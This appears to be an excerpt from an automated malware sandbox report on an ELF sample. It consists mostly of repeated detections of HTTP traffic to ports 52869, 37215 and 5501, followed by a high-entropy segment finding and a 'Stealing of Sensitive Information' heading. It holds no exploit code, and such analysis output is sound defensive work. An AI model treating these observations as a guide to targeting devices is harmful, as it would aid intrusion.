    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33882 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55060 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38840 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55068 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49508 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49518 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51676 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 36892 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 54566 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40744 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53970 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52676 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44224 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53164 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53168 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 47170 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 55694 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59464 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55694 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59272 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35402 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55700 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 33794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56714 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56720 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33802 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47170 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35402 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47170 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41844 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39612 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39616 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39612 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39616 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 35402 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39612 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39616 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41020 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41020 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 38014 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41844 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39612 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 54386 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39616 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52456 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 54386 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39612 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39616 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55424 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 41844 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34984 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37150 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47170 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41136 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41270 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35402 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 41146 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52869 -> 41146
    Source: unknownNetwork traffic detected: HTTP traffic on port 50114 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 56944 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 41010 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 36218 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43278 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40224 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 54386 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34984 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37150 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37598 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37602 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41136 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40224 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37598 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37602 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56944 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 50114 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 48128 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48132 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40224 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37598 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39612 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37602 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39616 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56906 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 48132 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37150 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34984 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48128 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41136 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41844 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48132 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42142 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40224 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37598 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56944 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 50114 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42142 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37602 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37600 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 48012 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42142 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 37600 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 48132 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 54386 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 36862 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48128 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37600 -> 37215
    Source: na.elfSubmission file: segment LOAD with 7.884 entropy (max. 8.0)

    Stealing of Sensitive Information

    barindex
